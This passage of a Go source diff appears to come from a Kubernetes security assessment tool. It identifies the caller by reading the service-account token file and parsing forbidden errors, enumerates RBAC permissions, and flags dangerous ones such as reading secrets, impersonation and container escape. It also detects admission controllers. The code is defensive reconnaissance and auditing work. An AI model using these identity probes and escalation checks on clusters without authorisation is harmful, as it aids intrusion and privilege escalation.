func (s *ClusterInfoService) trySelfSubjectReview(ctx context.Context) (string, []string, error) {
|
||||
ssr := &authenticationv1.SelfSubjectReview{}
|
||||
result, err := s.clientset.AuthenticationV1().SelfSubjectReviews().Create(ctx, ssr, metav1.CreateOptions{})
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
return result.Status.UserInfo.Username, result.Status.UserInfo.Groups, nil
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) tryForbiddenErrorParsing(ctx context.Context) (string, []string) {
|
||||
// Try to access cluster-admin resources to get a forbidden error
|
||||
_, err := s.clientset.RbacV1().ClusterRoles().Get(ctx, "cluster-admin", metav1.GetOptions{})
|
||||
if err != nil {
|
||||
username := parseUsernameFromError(err)
|
||||
groups := parseGroupsFromError(err)
|
||||
return username, groups
|
||||
}
|
||||
|
||||
// Try secrets if first attempt succeeded (user might be admin)
|
||||
_, err = s.clientset.CoreV1().Secrets("kube-system").List(ctx, metav1.ListOptions{Limit: 1})
|
||||
if err != nil {
|
||||
username := parseUsernameFromError(err)
|
||||
groups := parseGroupsFromError(err)
|
||||
return username, groups
|
||||
}
|
||||
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) decodeServiceAccountToken() (string, string, error) {
|
||||
tokenPath := "/var/run/secrets/kubernetes.io/serviceaccount/token"
|
||||
tokenBytes, err := os.ReadFile(tokenPath)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
parts := strings.Split(string(tokenBytes), ".")
|
||||
if len(parts) != 3 {
|
||||
return "", "", fmt.Errorf("invalid JWT format")
|
||||
}
|
||||
|
||||
payload := parts[1]
|
||||
if l := len(payload) % 4; l > 0 {
|
||||
payload += strings.Repeat("=", 4-l)
|
||||
}
|
||||
|
||||
decoded, err := base64.URLEncoding.DecodeString(payload)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
var claims struct {
|
||||
KubernetesIo struct {
|
||||
Namespace string `json:"namespace"`
|
||||
ServiceAccount struct {
|
||||
Name string `json:"name"`
|
||||
} `json:"serviceaccount"`
|
||||
} `json:"kubernetes.io"`
|
||||
}
|
||||
|
||||
if err := json.Unmarshal(decoded, &claims); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
return claims.KubernetesIo.Namespace, claims.KubernetesIo.ServiceAccount.Name, nil
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) extractRBACInfo(ctx context.Context, identity *models.Identity) {
|
||||
ssar := &authorizationv1.SelfSubjectAccessReview{
|
||||
Spec: authorizationv1.SelfSubjectAccessReviewSpec{
|
||||
ResourceAttributes: &authorizationv1.ResourceAttributes{
|
||||
Verb: "get",
|
||||
Resource: "pods",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
result, err := s.clientset.AuthorizationV1().SelfSubjectAccessReviews().Create(ctx, ssar, metav1.CreateOptions{})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
reason := result.Status.Reason
|
||||
|
||||
reClusterRoleBinding := regexp.MustCompile(`ClusterRoleBinding "([^"]+)"`)
|
||||
reClusterRole := regexp.MustCompile(`ClusterRole "([^"]+)"`)
|
||||
reUser := regexp.MustCompile(`[Uu]ser "([^"]+)"`)
|
||||
|
||||
if match := reClusterRoleBinding.FindStringSubmatch(reason); len(match) > 1 {
|
||||
identity.ClusterRoleBinding = match[1]
|
||||
}
|
||||
if match := reClusterRole.FindStringSubmatch(reason); len(match) > 1 {
|
||||
identity.ClusterRole = match[1]
|
||||
}
|
||||
if identity.Username == "" {
|
||||
if match := reUser.FindStringSubmatch(reason); len(match) > 1 {
|
||||
identity.Username = match[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) getNamespaces(ctx context.Context) []string {
|
||||
nsList, err := sdk.GetNamespaces(ctx, s.clientset)
|
||||
if err != nil {
|
||||
// Fallback to common namespaces
|
||||
return []string{"default", "kube-system", "kube-public", "kube-node-lease"}
|
||||
}
|
||||
|
||||
namespaces := make([]string, 0, len(nsList))
|
||||
for _, ns := range nsList {
|
||||
namespaces = append(namespaces, ns.Name)
|
||||
}
|
||||
return namespaces
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) enumerateNamespacePermissions(ctx context.Context, namespace string) ([]string, []DangerousPermission) {
|
||||
ssrr := &authorizationv1.SelfSubjectRulesReview{
|
||||
Spec: authorizationv1.SelfSubjectRulesReviewSpec{
|
||||
Namespace: namespace,
|
||||
},
|
||||
}
|
||||
|
||||
result, err := s.clientset.AuthorizationV1().SelfSubjectRulesReviews().Create(ctx, ssrr, metav1.CreateOptions{})
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var perms []string
|
||||
var dangerous []DangerousPermission
|
||||
|
||||
for _, rule := range result.Status.ResourceRules {
|
||||
for _, verb := range rule.Verbs {
|
||||
for _, resource := range rule.Resources {
|
||||
perm := fmt.Sprintf("%s %s", verb, resource)
|
||||
perms = append(perms, perm)
|
||||
|
||||
if reason := isDangerousPermission(verb, resource, rule.APIGroups); reason != "" {
|
||||
dangerous = append(dangerous, DangerousPermission{
|
||||
Namespace: namespace,
|
||||
Verb: verb,
|
||||
Resource: resource,
|
||||
APIGroup: strings.Join(rule.APIGroups, ","),
|
||||
Reason: reason,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return perms, dangerous
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) calculateRiskLevel(summary *models.PermissionSummary) string {
|
||||
// CRITICAL: 5+ dangerous permissions
|
||||
if summary.DangerousPermissions >= 5 {
|
||||
return "CRITICAL"
|
||||
}
|
||||
|
||||
// Check for specific critical permissions
|
||||
for _, perm := range summary.DangerousPerms {
|
||||
if perm.Verb == "*" && perm.Resource == "*" {
|
||||
return "CRITICAL"
|
||||
}
|
||||
if strings.Contains(perm.Reason, "impersonate") ||
|
||||
strings.Contains(perm.Reason, "escalate") {
|
||||
return "HIGH"
|
||||
}
|
||||
}
|
||||
|
||||
// HIGH: 3+ dangerous permissions
|
||||
if summary.DangerousPermissions >= 3 {
|
||||
return "HIGH"
|
||||
}
|
||||
|
||||
// MEDIUM: 1-2 dangerous permissions
|
||||
if summary.DangerousPermissions > 0 {
|
||||
return "MEDIUM"
|
||||
}
|
||||
|
||||
return "LOW"
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Helper functions
|
||||
// ============================================================================
|
||||
|
||||
// DangerousPermission is an alias for the model type
|
||||
type DangerousPermission = models.DangerousPermission
|
||||
|
||||
func parseUsernameFromError(err error) string {
|
||||
if err == nil {
|
||||
return ""
|
||||
}
|
||||
re := regexp.MustCompile(`[Uu]ser\s+"([^"]+)"`)
|
||||
match := re.FindStringSubmatch(err.Error())
|
||||
if len(match) > 1 {
|
||||
return match[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseGroupsFromError(err error) []string {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
re := regexp.MustCompile(`groups:\s*\[([^\]]+)\]`)
|
||||
match := re.FindStringSubmatch(err.Error())
|
||||
if len(match) > 1 {
|
||||
return strings.Fields(match[1])
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isDangerousPermission(verb, resource string, apiGroups []string) string {
|
||||
dangerousPatterns := map[string]string{
|
||||
"*:*": "Full wildcard access - can perform any action",
|
||||
"create:pods": "Can create pods for container escape or privilege escalation",
|
||||
"patch:pods": "Can modify pods for container escape or privilege escalation",
|
||||
"create:pods/exec": "Can execute commands in any pod",
|
||||
"create:pods/attach": "Can attach to any pod",
|
||||
"get:secrets": "Can read secrets containing credentials",
|
||||
"list:secrets": "Can list and read secrets containing credentials",
|
||||
"create:deployments": "Can deploy workloads with privileged access",
|
||||
"create:daemonsets": "Can deploy daemonsets running on all nodes",
|
||||
"impersonate:users": "Can impersonate other users",
|
||||
"impersonate:groups": "Can impersonate groups including system:masters",
|
||||
"impersonate:serviceaccounts": "Can impersonate service accounts",
|
||||
"escalate:roles": "Can grant permissions not held",
|
||||
"escalate:clusterroles": "Can grant cluster-wide permissions not held",
|
||||
"bind:roles": "Can bind any role",
|
||||
"bind:clusterroles": "Can bind any cluster role",
|
||||
"create:rolebindings": "Can grant permissions via role bindings",
|
||||
"create:clusterrolebindings": "Can grant cluster-wide permissions",
|
||||
"create:serviceaccounts/token": "Can create tokens for any service account",
|
||||
}
|
||||
|
||||
key := fmt.Sprintf("%s:%s", verb, resource)
|
||||
if reason, ok := dangerousPatterns[key]; ok {
|
||||
return reason
|
||||
}
|
||||
|
||||
// Check wildcards
|
||||
if verb == "*" || resource == "*" {
|
||||
return "Wildcard permission may grant excessive access"
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package models
|
||||
|
||||
// ClusterInfo contains information about the Kubernetes cluster
|
||||
type ClusterInfo struct {
|
||||
Name string `json:"name"`
|
||||
APIServerURL string `json:"apiServerUrl"`
|
||||
Version *VersionInfo `json:"version,omitempty"`
|
||||
CloudProvider string `json:"cloudProvider,omitempty"` // AWS, GCP, Azure, or empty
|
||||
Region string `json:"region,omitempty"`
|
||||
Zone string `json:"zone,omitempty"`
|
||||
NodeCount int `json:"nodeCount,omitempty"`
|
||||
}
|
||||
|
||||
// VersionInfo contains Kubernetes version information
|
||||
type VersionInfo struct {
|
||||
Major string `json:"major"`
|
||||
Minor string `json:"minor"`
|
||||
GitVersion string `json:"gitVersion"`
|
||||
Platform string `json:"platform"`
|
||||
}
|
||||
|
||||
// Identity represents the current authenticated identity
|
||||
type Identity struct {
|
||||
// Primary identity fields
|
||||
Username string `json:"username"`
|
||||
Groups []string `json:"groups,omitempty"`
|
||||
|
||||
// Source of identity detection
|
||||
Source IdentitySource `json:"source"`
|
||||
|
||||
// ServiceAccount info (if applicable)
|
||||
ServiceAccountNamespace string `json:"serviceAccountNamespace,omitempty"`
|
||||
ServiceAccountName string `json:"serviceAccountName,omitempty"`
|
||||
|
||||
// RBAC bindings
|
||||
ClusterRoleBinding string `json:"clusterRoleBinding,omitempty"`
|
||||
ClusterRole string `json:"clusterRole,omitempty"`
|
||||
|
||||
// Cloud identity (if running in cloud)
|
||||
CloudProvider string `json:"cloudProvider,omitempty"`
|
||||
CloudRole string `json:"cloudRole,omitempty"` // AWS IAM Role ARN, GCP SA email, Azure MI
|
||||
|
||||
// Additional context
|
||||
KubeconfigUser string `json:"kubeconfigUser,omitempty"` // User name from kubeconfig
|
||||
}
|
||||
|
||||
// IdentitySource indicates how the identity was detected
|
||||
type IdentitySource string
|
||||
|
||||
const (
|
||||
IdentitySourceSelfSubjectReview IdentitySource = "SelfSubjectReview"
|
||||
IdentitySourceKubeconfig IdentitySource = "Kubeconfig"
|
||||
IdentitySourceServiceAccountToken IdentitySource = "ServiceAccountToken"
|
||||
IdentitySourceForbiddenError IdentitySource = "ForbiddenError"
|
||||
IdentitySourceUnknown IdentitySource = "Unknown"
|
||||
)
|
||||
|
||||
// IsServiceAccount returns true if the identity is a service account
|
||||
func (i *Identity) IsServiceAccount() bool {
|
||||
return i.ServiceAccountNamespace != "" && i.ServiceAccountName != ""
|
||||
}
|
||||
|
||||
// FullServiceAccountName returns the full service account name (namespace/name)
|
||||
func (i *Identity) FullServiceAccountName() string {
|
||||
if i.IsServiceAccount() {
|
||||
return i.ServiceAccountNamespace + "/" + i.ServiceAccountName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// IsClusterAdmin returns true if the identity has cluster-admin privileges
|
||||
func (i *Identity) IsClusterAdmin() bool {
|
||||
if i.ClusterRole == "cluster-admin" {
|
||||
return true
|
||||
}
|
||||
for _, group := range i.Groups {
|
||||
if group == "system:masters" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// HasGroup returns true if the identity belongs to the specified group
|
||||
func (i *Identity) HasGroup(group string) bool {
|
||||
for _, g := range i.Groups {
|
||||
if g == group {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// PermissionWithSource represents a permission with its RBAC source
|
||||
type PermissionWithSource struct {
|
||||
Namespace string `json:"namespace"`
|
||||
Verb string `json:"verb"`
|
||||
Resource string `json:"resource"`
|
||||
APIGroup string `json:"apiGroup,omitempty"`
|
||||
RoleName string `json:"roleName"`
|
||||
RoleKind string `json:"roleKind"` // Role or ClusterRole
|
||||
BindingName string `json:"bindingName"`
|
||||
BindingKind string `json:"bindingKind"` // RoleBinding or ClusterRoleBinding
|
||||
SubjectName string `json:"subjectName"` // The user, group, or SA name
|
||||
SubjectKind string `json:"subjectKind"` // User, Group, or ServiceAccount
|
||||
SubjectNS string `json:"subjectNs,omitempty"` // Namespace for ServiceAccount
|
||||
}
|
||||
|
||||
// PermissionSummary contains a summary of permissions for an identity
|
||||
type PermissionSummary struct {
|
||||
// Total counts
|
||||
TotalNamespaces int `json:"totalNamespaces"`
|
||||
TotalPermissions int `json:"totalPermissions"`
|
||||
DangerousPermissions int `json:"dangerousPermissions"`
|
||||
|
||||
// Per-namespace permissions (simple format for backward compat)
|
||||
NamespacePermissions map[string][]string `json:"namespacePermissions,omitempty"`
|
||||
|
||||
// Permissions with full source information
|
||||
PermissionsWithSource []PermissionWithSource `json:"permissionsWithSource,omitempty"`
|
||||
|
||||
// List of dangerous permissions with context
|
||||
DangerousPerms []DangerousPermission `json:"dangerousPerms,omitempty"`
|
||||
|
||||
// Risk assessment
|
||||
RiskLevel string `json:"riskLevel"` // CRITICAL, HIGH, MEDIUM, LOW
|
||||
}
|
||||
|
||||
// DangerousPermission represents a security-sensitive permission
|
||||
type DangerousPermission struct {
|
||||
Namespace string `json:"namespace"`
|
||||
Verb string `json:"verb"`
|
||||
Resource string `json:"resource"`
|
||||
APIGroup string `json:"apiGroup,omitempty"`
|
||||
Reason string `json:"reason"` // Why it's dangerous
|
||||
}
|
||||
|
||||
// WhoamiResult combines cluster info, identity, and permissions
|
||||
type WhoamiResult struct {
|
||||
Cluster ClusterInfo `json:"cluster"`
|
||||
Identity Identity `json:"identity"`
|
||||
Permissions PermissionSummary `json:"permissions"`
|
||||
}
|
||||
@@ -0,0 +1,303 @@
|
||||
package admission
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
appsv1 "k8s.io/api/apps/v1"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// ControllerDetector provides centralized detection of admission controllers
|
||||
type ControllerDetector struct {
|
||||
registry *EngineRegistry
|
||||
verifier *ImageVerifier
|
||||
}
|
||||
|
||||
// NewControllerDetector creates a new ControllerDetector
|
||||
func NewControllerDetector(registry *EngineRegistry) *ControllerDetector {
|
||||
return &ControllerDetector{
|
||||
registry: registry,
|
||||
verifier: NewImageVerifier(registry),
|
||||
}
|
||||
}
|
||||
|
||||
// DetectionResult contains details about a detected controller
|
||||
type DetectionResult struct {
|
||||
EngineID string
|
||||
EngineName string
|
||||
Category EngineCategory
|
||||
Namespace string
|
||||
ResourceName string
|
||||
ResourceKind string // Deployment, DaemonSet, StatefulSet
|
||||
Replicas int32
|
||||
ReadyReplicas int32
|
||||
Images []string
|
||||
ImageVerified bool
|
||||
Confidence string // "high", "medium", "low"
|
||||
Labels map[string]string
|
||||
}
|
||||
|
||||
// DetectControllers finds all admission controllers in the cluster
|
||||
func (d *ControllerDetector) DetectControllers(ctx context.Context, clientset kubernetes.Interface, category EngineCategory) ([]DetectionResult, error) {
|
||||
var results []DetectionResult
|
||||
|
||||
engines := d.registry.GetEnginesByCategory(category)
|
||||
|
||||
// Check all expected namespaces for this category
|
||||
namespacesToCheck := make(map[string]bool)
|
||||
for _, engine := range engines {
|
||||
for _, ns := range engine.ExpectedNamespaces {
|
||||
namespacesToCheck[ns] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Always check kube-system
|
||||
namespacesToCheck["kube-system"] = true
|
||||
|
||||
for ns := range namespacesToCheck {
|
||||
// Check Deployments
|
||||
deployments, err := clientset.AppsV1().Deployments(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, dep := range deployments.Items {
|
||||
if result := d.checkDeployment(dep, engines); result != nil {
|
||||
results = append(results, *result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check DaemonSets
|
||||
daemonSets, err := clientset.AppsV1().DaemonSets(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, ds := range daemonSets.Items {
|
||||
if result := d.checkDaemonSet(ds, engines); result != nil {
|
||||
results = append(results, *result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check StatefulSets
|
||||
statefulSets, err := clientset.AppsV1().StatefulSets(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, ss := range statefulSets.Items {
|
||||
if result := d.checkStatefulSet(ss, engines); result != nil {
|
||||
results = append(results, *result)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
// DetectControllerByEngine finds a specific engine's controller
|
||||
func (d *ControllerDetector) DetectControllerByEngine(ctx context.Context, clientset kubernetes.Interface, engineID string) (*DetectionResult, error) {
|
||||
engine := d.registry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
engines := []*Engine{engine}
|
||||
|
||||
for _, ns := range engine.ExpectedNamespaces {
|
||||
// Check Deployments
|
||||
deployments, err := clientset.AppsV1().Deployments(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, dep := range deployments.Items {
|
||||
if result := d.checkDeployment(dep, engines); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check DaemonSets
|
||||
daemonSets, err := clientset.AppsV1().DaemonSets(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, ds := range daemonSets.Items {
|
||||
if result := d.checkDaemonSet(ds, engines); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check StatefulSets
|
||||
statefulSets, err := clientset.AppsV1().StatefulSets(ns).List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, ss := range statefulSets.Items {
|
||||
if result := d.checkStatefulSet(ss, engines); result != nil {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (d *ControllerDetector) checkDeployment(dep appsv1.Deployment, engines []*Engine) *DetectionResult {
|
||||
images := extractContainerImages(dep.Spec.Template.Spec.Containers)
|
||||
|
||||
for _, engine := range engines {
|
||||
// First check deployment name patterns
|
||||
if !d.matchesDeploymentName(dep.Name, engine) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Then verify images
|
||||
imageVerified := false
|
||||
for _, img := range images {
|
||||
result := d.verifier.VerifyImageForEngine(img, engine.ID)
|
||||
if result.Matched {
|
||||
imageVerified = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// If engine requires image verification and we didn't find it, skip
|
||||
if engine.RequireImageVerification && !imageVerified {
|
||||
continue
|
||||
}
|
||||
|
||||
confidence := "medium"
|
||||
if imageVerified {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
return &DetectionResult{
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
Namespace: dep.Namespace,
|
||||
ResourceName: dep.Name,
|
||||
ResourceKind: "Deployment",
|
||||
Replicas: *dep.Spec.Replicas,
|
||||
ReadyReplicas: dep.Status.ReadyReplicas,
|
||||
Images: images,
|
||||
ImageVerified: imageVerified,
|
||||
Confidence: confidence,
|
||||
Labels: dep.Labels,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *ControllerDetector) checkDaemonSet(ds appsv1.DaemonSet, engines []*Engine) *DetectionResult {
|
||||
images := extractContainerImages(ds.Spec.Template.Spec.Containers)
|
||||
|
||||
for _, engine := range engines {
|
||||
// First check deployment name patterns
|
||||
if !d.matchesDeploymentName(ds.Name, engine) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Then verify images
|
||||
imageVerified := false
|
||||
for _, img := range images {
|
||||
result := d.verifier.VerifyImageForEngine(img, engine.ID)
|
||||
if result.Matched {
|
||||
imageVerified = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// If engine requires image verification and we didn't find it, skip
|
||||
if engine.RequireImageVerification && !imageVerified {
|
||||
continue
|
||||
}
|
||||
|
||||
confidence := "medium"
|
||||
if imageVerified {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
return &DetectionResult{
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
Namespace: ds.Namespace,
|
||||
ResourceName: ds.Name,
|
||||
ResourceKind: "DaemonSet",
|
||||
Replicas: ds.Status.DesiredNumberScheduled,
|
||||
ReadyReplicas: ds.Status.NumberReady,
|
||||
Images: images,
|
||||
ImageVerified: imageVerified,
|
||||
Confidence: confidence,
|
||||
Labels: ds.Labels,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *ControllerDetector) checkStatefulSet(ss appsv1.StatefulSet, engines []*Engine) *DetectionResult {
|
||||
images := extractContainerImages(ss.Spec.Template.Spec.Containers)
|
||||
|
||||
for _, engine := range engines {
|
||||
// First check deployment name patterns
|
||||
if !d.matchesDeploymentName(ss.Name, engine) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Then verify images
|
||||
imageVerified := false
|
||||
for _, img := range images {
|
||||
result := d.verifier.VerifyImageForEngine(img, engine.ID)
|
||||
if result.Matched {
|
||||
imageVerified = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// If engine requires image verification and we didn't find it, skip
|
||||
if engine.RequireImageVerification && !imageVerified {
|
||||
continue
|
||||
}
|
||||
|
||||
confidence := "medium"
|
||||
if imageVerified {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
return &DetectionResult{
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
Namespace: ss.Namespace,
|
||||
ResourceName: ss.Name,
|
||||
ResourceKind: "StatefulSet",
|
||||
Replicas: *ss.Spec.Replicas,
|
||||
ReadyReplicas: ss.Status.ReadyReplicas,
|
||||
Images: images,
|
||||
ImageVerified: imageVerified,
|
||||
Confidence: confidence,
|
||||
Labels: ss.Labels,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *ControllerDetector) matchesDeploymentName(name string, engine *Engine) bool {
|
||||
nameLower := strings.ToLower(name)
|
||||
for _, pattern := range engine.DeploymentPatterns {
|
||||
patternLower := strings.ToLower(pattern)
|
||||
// Exact match or prefix match with hyphen boundary
|
||||
if nameLower == patternLower ||
|
||||
strings.HasPrefix(nameLower, patternLower+"-") ||
|
||||
strings.HasSuffix(nameLower, "-"+patternLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func extractContainerImages(containers []corev1.Container) []string {
|
||||
var images []string
|
||||
for _, c := range containers {
|
||||
images = append(images, c.Image)
|
||||
}
|
||||
return images
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
// Package admission provides a shared SDK for admission controller detection across all admission modules.
|
||||
// This centralizes engine detection, image verification, and risk assessment to reduce code duplication
|
||||
// and ensure consistent, accurate detection with minimal false positives.
|
||||
package admission
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// EngineCategory represents the category of an admission engine
|
||||
type EngineCategory string
|
||||
|
||||
const (
|
||||
CategoryImage EngineCategory = "image"
|
||||
CategoryPod EngineCategory = "pod"
|
||||
CategoryNetwork EngineCategory = "network"
|
||||
CategorySecret EngineCategory = "secret"
|
||||
CategoryDNS EngineCategory = "dns"
|
||||
CategoryRuntime EngineCategory = "runtime"
|
||||
CategoryMultitenancy EngineCategory = "multitenancy"
|
||||
CategoryCert EngineCategory = "cert"
|
||||
CategoryMesh EngineCategory = "mesh"
|
||||
CategoryAudit EngineCategory = "audit"
|
||||
)
|
||||
|
||||
// Engine represents a registered admission controller/engine
|
||||
type Engine struct {
|
||||
// Unique identifier for the engine
|
||||
ID string
|
||||
|
||||
// Human-readable name
|
||||
Name string
|
||||
|
||||
// Category this engine belongs to
|
||||
Category EngineCategory
|
||||
|
||||
// Trusted registries for this engine's images
|
||||
TrustedRegistries []string
|
||||
|
||||
// Image patterns (exact match after registry prefix)
|
||||
// e.g., "falcosecurity/falco" matches "docker.io/falcosecurity/falco:latest"
|
||||
ImagePatterns []string
|
||||
|
||||
// Compiled regex patterns for image matching (built from ImagePatterns)
|
||||
imageRegexes []*regexp.Regexp
|
||||
|
||||
// Deployment/DaemonSet/StatefulSet name patterns (exact or prefix match)
|
||||
DeploymentPatterns []string
|
||||
|
||||
// Namespace patterns where this engine is typically deployed
|
||||
ExpectedNamespaces []string
|
||||
|
||||
// Webhook name patterns for detection
|
||||
WebhookPatterns []string
|
||||
|
||||
// CRD groups this engine uses (for CRD-based detection)
|
||||
CRDGroups []string
|
||||
|
||||
// Label selectors for pod detection
|
||||
LabelSelectors []string
|
||||
|
||||
// Whether this engine requires image verification to be considered "active"
|
||||
RequireImageVerification bool
|
||||
}
|
||||
|
||||
// EngineRegistry holds all registered engines across all categories
|
||||
type EngineRegistry struct {
|
||||
engines map[string]*Engine
|
||||
}
|
||||
|
||||
// NewEngineRegistry creates a new registry with all known engines
|
||||
func NewEngineRegistry() *EngineRegistry {
|
||||
r := &EngineRegistry{
|
||||
engines: make(map[string]*Engine),
|
||||
}
|
||||
r.registerAllEngines()
|
||||
return r
|
||||
}
|
||||
|
||||
// GetEngine returns an engine by ID
|
||||
func (r *EngineRegistry) GetEngine(id string) *Engine {
|
||||
return r.engines[id]
|
||||
}
|
||||
|
||||
// GetEnginesByCategory returns all engines in a category
|
||||
func (r *EngineRegistry) GetEnginesByCategory(category EngineCategory) []*Engine {
|
||||
var result []*Engine
|
||||
for _, e := range r.engines {
|
||||
if e.Category == category {
|
||||
result = append(result, e)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// MatchImage checks if an image matches any engine and returns the engine ID
|
||||
func (r *EngineRegistry) MatchImage(image string) (engineID string, verified bool) {
|
||||
imageLower := strings.ToLower(image)
|
||||
|
||||
for id, engine := range r.engines {
|
||||
if engine.matchImage(imageLower) {
|
||||
return id, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// MatchImageForEngine checks if an image matches a specific engine
|
||||
func (r *EngineRegistry) MatchImageForEngine(image string, engineID string) bool {
|
||||
engine := r.engines[engineID]
|
||||
if engine == nil {
|
||||
return false
|
||||
}
|
||||
return engine.matchImage(strings.ToLower(image))
|
||||
}
|
||||
|
||||
// matchImage checks if an image matches this engine's patterns
|
||||
func (e *Engine) matchImage(imageLower string) bool {
|
||||
// Build regexes if not already built
|
||||
if len(e.imageRegexes) == 0 && len(e.ImagePatterns) > 0 {
|
||||
e.buildImageRegexes()
|
||||
}
|
||||
|
||||
// First check trusted registry + pattern combination
|
||||
for _, registry := range e.TrustedRegistries {
|
||||
registryLower := strings.ToLower(registry)
|
||||
if strings.HasPrefix(imageLower, registryLower) {
|
||||
// Image is from trusted registry, now check pattern
|
||||
for _, regex := range e.imageRegexes {
|
||||
if regex.MatchString(imageLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If no trusted registries defined, fall back to pattern-only matching
|
||||
// but mark as less confident (caller should check this)
|
||||
if len(e.TrustedRegistries) == 0 {
|
||||
for _, regex := range e.imageRegexes {
|
||||
if regex.MatchString(imageLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// buildImageRegexes compiles image patterns into regexes with proper boundaries
|
||||
func (e *Engine) buildImageRegexes() {
|
||||
for _, pattern := range e.ImagePatterns {
|
||||
// Build regex with word boundaries to avoid substring false positives
|
||||
// Pattern "falco" should match "falcosecurity/falco:v1" but not "myfalconry:v1"
|
||||
escaped := regexp.QuoteMeta(strings.ToLower(pattern))
|
||||
// Match pattern at path boundaries (after / or at start) and before : or end
|
||||
regexStr := `(^|/)` + escaped + `(:|$|/)`
|
||||
if regex, err := regexp.Compile(regexStr); err == nil {
|
||||
e.imageRegexes = append(e.imageRegexes, regex)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MatchDeploymentName checks if a deployment name matches this engine
|
||||
func (e *Engine) MatchDeploymentName(name string) bool {
|
||||
nameLower := strings.ToLower(name)
|
||||
for _, pattern := range e.DeploymentPatterns {
|
||||
patternLower := strings.ToLower(pattern)
|
||||
// Exact match or prefix match with hyphen boundary
|
||||
if nameLower == patternLower ||
|
||||
strings.HasPrefix(nameLower, patternLower+"-") ||
|
||||
strings.HasSuffix(nameLower, "-"+patternLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchWebhookName checks if a webhook name matches this engine
|
||||
func (e *Engine) MatchWebhookName(name string) bool {
|
||||
nameLower := strings.ToLower(name)
|
||||
for _, pattern := range e.WebhookPatterns {
|
||||
patternLower := strings.ToLower(pattern)
|
||||
if nameLower == patternLower || strings.Contains(nameLower, patternLower) {
|
||||
